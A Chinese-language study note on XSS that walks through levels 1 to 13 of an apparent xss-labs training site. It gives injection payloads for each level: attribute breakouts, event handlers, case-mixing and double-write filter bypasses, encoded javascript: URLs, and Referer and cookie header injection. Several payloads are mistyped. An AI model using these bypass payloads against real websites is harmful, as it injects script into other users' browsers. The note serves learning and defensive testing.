xss漏洞原理
0、前端知识
HTML 定义了网页的内容;
CSS 描述了网页的布局;
JavaScript 控制了网页的行为;
HTML 中的 Javascript 脚本代码必须位于 <script> 与 </script> 标签之间。
Javascript 脚本代码可被放置在 HTML 页面的 <body> 和 <head>
部分中。
1、xss漏洞原理
输出类的一个函数所造成的漏洞,调试一些内容输出的时候,这些内容受我们控制,我们将其替换成js代码,js弄到浏览器去访问的时候就被执行。总之就是用js代码进行一些敏感操作。当应用程序没有对用户提交的内容进行验证和重新编码,而是直接呈现给网站的访问者时,就可能会触发XSS攻击。
区别:
发送一次带XSS代码的请求,若只能在当前返回的数据包里发现XSS代码,则是反射型;
若以后这个页面的返回包里都会有XSS代码,则是存储型;
若在返回包里找不到XSS代码,则是DOM型。
第一关:
http://xss/level1.php?name=<Script>alert(1)</Script>
网页交互的信息提示框:
alter()
alert 方法有一个参数,即希望对用户显示的文本字符串。
第二关:
1"><ScRipt>alert(1)</ScRipt>
函数htmlspecialchars()
把预定义的字符转换为 HTML 实体。
因为在 HTML 中,某些字符是预留的。如在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签(无法在网页中显示)。如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。
htmlspecialchars()编码 “<” “>”
<代表小于号(<)
>代表大于符号(>)
≤表示小于或等于符号(<=)
≥表示大于或等于符号(>=)
上图调试器内容就是htmlspecailchars()起了作用,将<>进行实体化。但是插入到value参数值中的代码并没有被编码而是直接原样返回的。
但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。
既然上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破。
笔记:
1.大部分HTML标签都可以添加属性,常见的属性有宽度、高度、颜色、背景、字体等。
2.HTML属性一般都出现在HTML标签中,是HTML标签的一部分。
3.标签可以有属性,它包含了额外的信息,属性的值一定要在双引号中。
4.标签可以拥有多个属性。标签可以拥有多个属性。
5.属性由属性名和值成对出现。
6.语法格式<标签名属性名1=“属性值"属性名2=“属性值”…”>……
<.......value="<script>alert(1)</script>">
将属性的引号和标签先闭合
输入:
1"><ScRipt>alert(1)</ScRipt>
也即是:
<......value="1"><ScRipt>alert(1)</ScRipt>">
第三关:
' onclick ='javascript:alert(1)'//
由上图可知:
这里两处的值都被实体化了。。。
通过标签的一些特殊事件来执行js代码
方法一、使用焦点事件
onfocus 事件在对象获得焦点时发生。
onfocus 通常用于 , , 和.
' onfocus ='javascript:alert(1)'//
方法二、
在标签中填写 onclick 事件调用函数时,不是 οnclick=函数名, 而是 οnclick=函数名+()
’ onclick =‘javascript:alert(1)’//
第四关:
" onfocus ="javascript:alert(1)"//
"onclick ="javascript:alert(1)"//
第五关:
scrip给变成了scr_ipt
" onfocus =“javascript:alert(1)”//
onfocus变成了o_nfocus变成了。还有onclick—>o_nclick
此处既然无法通过
"></input><a href='javascript:alert(1)'>asd</a>//
?keyword="><a href=javascript:alert(1)>xss</a>//
第六关:
过滤
这里可以使用大小写绕过
?keyword="><a hRef=javascript:alert(1)>xss</a>//
第七关:
?keyword=">xss//
双写绕过
第八关:
编码绕过
javascript:aert(1)=
javascript:alert(1)
第九关:
只是要求要有链接,我们添上,然后加个注释符。
javascript:alert(/xss/)//http://www.baidu.com
第十关:
发现和之前有点不一样的是,多了一个参数$t_sort,而且有三个隐藏表单,但只有t_sort能传参这个参数,观察代码可以看到,<和>都被过滤了。我们可以利用这个参数。页面中没有触发事件框,所以type="text"构造一个文本框
1&t_sort=" onclick=alert(1) type="text
第十一关:
$_SERVER[‘HTTP_REFERER’] #链接到当前页面的前一页面的 URL 地址,预定义服务器变量可以判断来路,即一般用于判断浏览者是从哪里点击链接跳到本页面的,即所说的来路,还可以通过判断来路来防止盗链。
php 判断来路,PHP获取referer判断来路防止非法访问
使用php伪造referer的方法
当浏览器向web服务器发送请求时,一般会带上referer,告诉服务器我是从哪个页面链接来的,服务器借此可以获得一些信息用于处理,当然这个referer可以伪造。http_referer是请求头(header)的一部分,当浏览器向web服务器发送请求的时候,一般会带上referer。
所以我们可以添加referer:
referer:"type="text" onclick="alert('xss')
" type=‘text’ οnclick=‘javascript:alert(1)’>//
第十二关:
和第十一关差不多
第十三关:
cookie
" type='text' onclick='javascript:alert(1)'>//